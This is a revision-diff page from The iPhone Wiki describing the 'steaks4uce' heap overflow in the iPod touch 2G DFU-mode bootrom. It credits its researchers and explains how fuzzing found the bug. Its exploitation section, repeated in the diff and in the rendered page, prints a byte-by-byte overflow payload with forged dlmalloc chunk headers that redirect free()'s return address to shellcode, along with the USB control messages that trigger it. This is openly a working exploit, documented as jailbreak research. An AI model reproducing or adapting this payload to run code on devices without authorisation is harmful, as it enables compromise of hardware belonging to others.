Difference between revisions of "Usb control msg(0xA1, 1) Exploit"

From The iPhone Wiki
Jump to: navigation, search
m (Updating)
(19 intermediate revisions by 9 users not shown)
Line 1: Line 1:
  +
{{DISPLAYTITLE:usb_control_msg(0xA1, 1) Exploit}}
This is an unsigned code execution vulnerability that resides in DFU mode of the [[S5L8930]] bootrom.
 
  +
A heap overflow exists in the [[N72AP|iPod touch 2G]] (both [[Bootrom 240.4|old]] and [[Bootrom 240.5.1|new]] [[bootrom]]s) [[DFU Mode]] when sending a USB control message of request type 0xA1, request 0x1. This exploit is also referred to as the "steaks4uce" exploit.
   
  +
On newer devices, the same USB message triggers a double free() when the image upload is marked as finished, also rebooting the device (but that's not exploitable because the double free() happens in a row). [[User:posixninja|posixninja]] analyzed and explained this one.
Uses of this exploit have already involved uploading a pwned iBSS/iBEC to provide access to the AES engine and to run custom ramdisks.
 
   
  +
According to [[User:posixninja|posixninja]], this is also not exploitable on other older devices.[https://twitter.com/p0sixninja/status/261614700888993792]
== Credits ==
 
  +
* '''vulnerability''': [[User:posixninja|posixninja]] (07/05/2010)
 
  +
== Credit (Alphabetical) ==
* '''research''': [[User:posixninja|posixninja]], [[User:pod2g|pod2g]], also [[User:MuscleNerd|MuscleNerd]]
 
* '''exploit''': [[User:pod2g|pod2g]] (09/09/2010)
+
* '''vulnerability''': [[User:pod2g|pod2g]]
  +
* '''exploitation''': [[User:pod2g|pod2g]]
  +
* '''payload''': [[Greenpois0n (jailbreak)|Greenpois0n]]: both the old [[Bootrom 240.4]] (In conjuction with the [[0x24000 Segment Overflow]]) and [[Bootrom 240.5.1]] (In conjuction with a kernel [[:Category:Exploits|exploit]], such as [[BPF_STX Kernel Write Exploit]] or [[HFS Legacy Volume Name Stack Buffer Overflow]])
   
 
== Vulnerability ==
 
== Vulnerability ==
  +
By fuzzing all possible USB control messages of the [[N72AP|iPod touch 2G]]'s [[DFU Mode]], it appeared that one special usb control message made it reboot.
In April 2010 [[User:pod2g|pod2g]] wrote a USB fuzzer and tested every single USB control message possible on his iPod2,1.
 
  +
The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow.
The fuzzer found 2 vulnerabilities:
 
- a heap overflow caused by the A1,1 control message
 
- a way to dump the bootrom using USB descriptors request
 
 
The team tested both PoC on new generation devices (iPhone2,1, iPod3,1, iPad) and both were already fixed by Apple.
 
 
[[User:posixninja|posixninja]] continued the fuzzing on new gens and found that with a particular sequence of USB messages it was possible to dump the BSS+Heap+Stack (on new gens only).
 
Having a memory dump is really helpful to make exploits and it was also the first time we had this kind of dump, previous bootrom exploits (ex: 24kpwn) were done blind!
 
 
Also, his first attempts to dump the memory resulted in rebooting the device. Interesting! We'll see after that this reboot is the base of the SHAtter exploit.
 
 
(details on the vulnerability itself soon to come)
 
   
== Research ==
+
== Exploitation ==
  +
In order to exploit it, send this special USB packet (using 0x21, 1) :
The research started and the main actor of this story is [[User:posixninja|posixninja]].
 
He found why the device reboots and proposed different ideas to exploit this. [[User:posixninja|posixninja]] also reversed tons of assembly code of the bootrom in this period, giving a support discussion to the team.
 
We're not talking about days, but months of work.
 
So, major props to [[User:posixninja|posixninja]]: SHAtter would not have been possible without the clever vulnerability he found and the research he did on the bootrom.
 
   
  +
<pre>
In the meanwhile, [[User:pod2g|pod2g]] helped on the USB reversing side and found a way to have more control over the size of the USB packets sent. The finer-grained control of the packet sizes is the key of SHAtter.
 
  +
[ 0x100 bytes of nulls ]
  +
/* free'd buffer dlmalloc header: */
  +
0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk
  +
0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk
  +
/* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */
  +
0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction
  +
0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer
  +
0xff, 0xff, 0xff, 0xff, // 0x10: (0x08)
  +
0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (_replace with packet size_)
  +
0x00, 0x01, 0x00, 0x00, // 0x18: (0x10)
  +
0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14)
  +
0x00, 0x00, 0x00, 0x00, // 0x20: (0x18)
  +
0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c)
  +
/* attack dlmalloc header: */
  +
0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk
  +
0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-)
  +
0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start()
  +
0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack
  +
</pre>
   
  +
Then trigger the exploit by using USB control message 0xA1, 1 with the same data size.
[[User:posixninja|posixninja]] and [[User:pod2g|pod2g]] worked on exploiting the vulnerability for days. Every attempt was a failure because the idea to attack the stack and bypass the img3 control routines was just impossible. It took them weeks to understand why they failed and why they couldn't exploit it this way.
 
   
  +
free() LR in stack will be replaced by FD, a pointer to the shellcode to execute!
They both gave up in July and focused on other subjects.
 
   
  +
Note: FD[0xc] will also be overwritten by BK (because of the free() unlink code), the first instruction of the shellcode
SHAtter exploit:
 
  +
shall jump to FD[0x10] to skip the junk.
   
  +
[[Category:Exploits]]
(details on the SHAtter exploit soon to come)
 

Revision as of 10:39, 11 October 2015

A heap overflow exists in the iPod touch 2G (both old and new bootroms) DFU Mode when sending a USB control message of request type 0xA1, request 0x1. This exploit is also referred to as the "steaks4uce" exploit.

On newer devices, the same USB message triggers a double free() when the image upload is marked as finished, also rebooting the device (but that's not exploitable because the double free() happens in a row). posixninja analyzed and explained this one.

According to posixninja, this is also not exploitable on other older devices.[1]

Credit (Alphabetical)

Vulnerability

By fuzzing all possible USB control messages of the iPod touch 2G's DFU Mode, it appeared that one special usb control message made it reboot. The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow.

Exploitation

In order to exploit it, send this special USB packet (using 0x21, 1) :

[ 0x100 bytes of nulls ]
/* free'd buffer dlmalloc header: */
0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk
0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk
/* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */
0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction
0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer
0xff, 0xff, 0xff, 0xff, // 0x10: (0x08)
0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (_replace with packet size_)
0x00, 0x01, 0x00, 0x00, // 0x18: (0x10)
0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14)
0x00, 0x00, 0x00, 0x00, // 0x20: (0x18)
0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c)
/* attack dlmalloc header: */
0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk
0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-)
0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start()
0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack

Then trigger the exploit by using USB control message 0xA1, 1 with the same data size.

free() LR in stack will be replaced by FD, a pointer to the shellcode to execute!

Note: FD[0xc] will also be overwritten by BK (because of the free() unlink code), the first instruction of the shellcode shall jump to FD[0x10] to skip the junk.